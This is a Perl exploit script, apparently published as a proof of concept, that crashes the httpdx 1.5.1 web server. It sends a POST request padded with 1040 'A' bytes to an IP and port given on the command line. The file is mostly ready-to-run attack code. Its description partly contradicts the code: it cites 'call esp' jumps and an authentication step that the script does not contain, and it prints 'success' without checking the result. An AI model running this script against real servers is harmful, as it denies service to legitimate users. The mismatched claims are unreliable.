#!/usr/bin/perl
use IO::Socket::INET;
# Exploit Title: httpdx 1.5.1 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 30 january 2024
# Vendor Homepage: http://httpdx.sourceforge.net
# Download to demo: https://sourceforge.net/projects/httpdx/files/httpdx/httpdx%201.5.1/
# Notification vendor: No reported
# Tested Version: httpdx 1.5.1 - Denial of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=EFtRwGVzx4s
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The web server does not correctly handle the amount of data or bytes sent.
#When authenticating to the web server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
intro();
main();
print "[+] Exploiting... \n";
my $sock = IO::Socket::INET->new("$ip:$port");
my $exploit = "\x41"x1040;
print $sock "POST /index2.html HTTP/1.0\r\n" .
"Content-Length: 1023\r\n" .
"Content-Type: html\r\n" .
"Host: $ip" . "\r\n" .
"\r\n" .
$exploit;
print "[+] Done - Exploited success!!!!!\n\n";
sub intro {
print q {
---------- # ------------------------------------------------------------------
--------- ##= -------------- [+] httpdx 1.5.1 - Denial of Service (DoS) -------
-------- ##=== ----------------------------------------------------------------
------ ###==#=== --------------------------------------------------------------
---- ####===##==== ------------------------------------------------------------
-- #####====###===== ----- Coded by Fernando Mengali -----
- #####=====####===== ----- fernando.mengalli@gmail.com -----
- #####=====####===== ---------------------------------------------------------
--- ####= # #==== -------- Prepare to exploiting the server ------------
--------- ##= -----------------------------------------------------------------
------- ####=== ---------------------------------------------------------------
}
}
sub main {
our ($ip, $port) = @ARGV;
unless (defined($ip) && defined($port)) {
print " \nUsage: $0 <ip> <port> \n";
exit(-1);
}
}
